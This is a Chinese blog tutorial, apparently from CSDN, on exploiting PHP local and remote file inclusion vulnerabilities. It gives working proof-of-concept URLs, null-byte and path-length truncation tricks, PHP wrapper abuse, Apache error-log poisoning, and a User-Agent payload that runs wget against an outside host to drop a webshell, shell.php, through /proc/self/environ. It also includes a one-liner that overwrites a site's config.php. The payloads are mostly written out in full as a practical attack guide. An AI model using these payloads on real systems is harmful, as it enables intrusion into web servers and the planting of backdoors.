文件包含漏洞的利用

本地包含

普通本地包含

只要网站支持上传,上传任意后缀文件,只要其中包含一句话,包含即可执行。

测试代码

 <?php  include_once($_GET['f']); ?>

POC

http://127.0.0.1/test/123.php?f=test.txt

截断本地包含

截断方法

因为服务器代码规定了后缀,所以不能为所欲为的包含文件。
%00截断
在Magic_quote_gpc为off的情况下才可以使用
利用方法就是这样
http://127.0.0.1/test/123.php?f=test.txt%00
长文件名截断
因为windows和linux的文件名长度是有限制的,超过其长度的会被忽略
通常情况下windows的截断长度为260,linux的长度为4096,这一不用在意具体长度,只要把需要截断的字符串挤到后面就可以了
windows在文件名后加/.  或 \.都是可以的
测试用的代码
<?php
	// 1. 初始化
	$ch = curl_init();
	// 2. 设置选项,包括URL
	
	$a='';
	for($i=0;$i<126;$i++){
		$a .= '/.';
	}	
	$url="http://127.0.0.1/test/123.php?f=test.txt".$a;
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
	// 3. 执行并获取HTML文档内容
	$output = curl_exec($ch);
	// 4. 释放curl句柄
	curl_close($ch);
?>

测试代码

 <?php  include_once($_GET['f'].".php"); ?>

POC

http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````

远程包含

必须是allow_url_include=On的时候才能使用,不过他在默认情况下是关闭的。

普通远程包含

用法和本地包含一样,只需要把本地路径换成url即可
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt

截断远程包含

截断方法

问号截断法
url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?

POC

这几个POC大多都与PHP的wrapper有关,详情可以看这里
http://www.php.net/manual/en/wrappers.php.php

涉及到allow_url_fopen 和 allow_url_include 这两个设置,后者php.ini里面没有,需要自行添加。

详细设置在这里

http://php.net/manual/zh/filesystem.configuration.php

data://  或者 php://input 可以在这allow_url_include关闭的情况下包含自定义数据,不过两种方法只在5.0以下是有效的,

之后的版本include就会报错了,比较可惜。

普通利用
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
php://input
这个是php的输入流,可以读到没有处理过的POST数据
这样测试时的确可以取到完整的POST数据
$raw = file_get_contents('php://input','r');
echo $raw;
这样在allow_url_include=Off会报错了
include_once("php://input");
 php://filter
利用主要是利用了resource和vonvert,这样可以读取到php的代码。
@readfile("php://filter/convert.base64-encode/resource=test.txt");

这样也是可以的

@readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");
include的状况和php://input类似

data URIs
情况和以上两种一样,在低版本才能发挥效果
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");
 php://fd
这个在5.3.6中增加的新wrapper,据说可以绕过allow_url_include进行包含。

全局变量覆盖型包含

这个我没仔细研究啦····哈哈哈~



利用技巧

Apache错误日志上传一句话

这个技巧解决了,本地包含不能上传马的问题,还是利用熟悉的Apache错误日志。
首先在配置文件中找到Apache日志的存放目录ErrorLog ../logs/apache_error.log
http://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf
之后构造一个错误的访问,使其被记录到日志中,这里注意浏览器会自动给url里面的字符编码,这里需要用其他方式模拟提交
http://127.0.0.1/test/<?php echo hacked ?>
最后包含日志文件,之前写入的php代码就会被执行

有的时候日志文件太大导致页面无相应,可以写入这一句,实际写入时不要忘记加转义符
<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?php echo hacked ?>");fclose($fp);?>
之后包含日志文件,一句话就被写到了/www/shell.php这个目录


Linux环境变量包含一句话

原理是包含/proc/self/environ,这里会有用户访问web的session信息,其中也会包含user-agent的参数,
这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的,
所以说想个办法修改user-agen,比如修改成
<?system('wget http://81sec.com/shell.txt -O shell.php');?>
然后提交一个,包含/proc/self/environ的请求就可以了。

session文件包含一句话

这个没有仔细研究,详情看这里
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
这个很厉害回头研究
http://zone.wooyun.org/content/2196?1176






  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值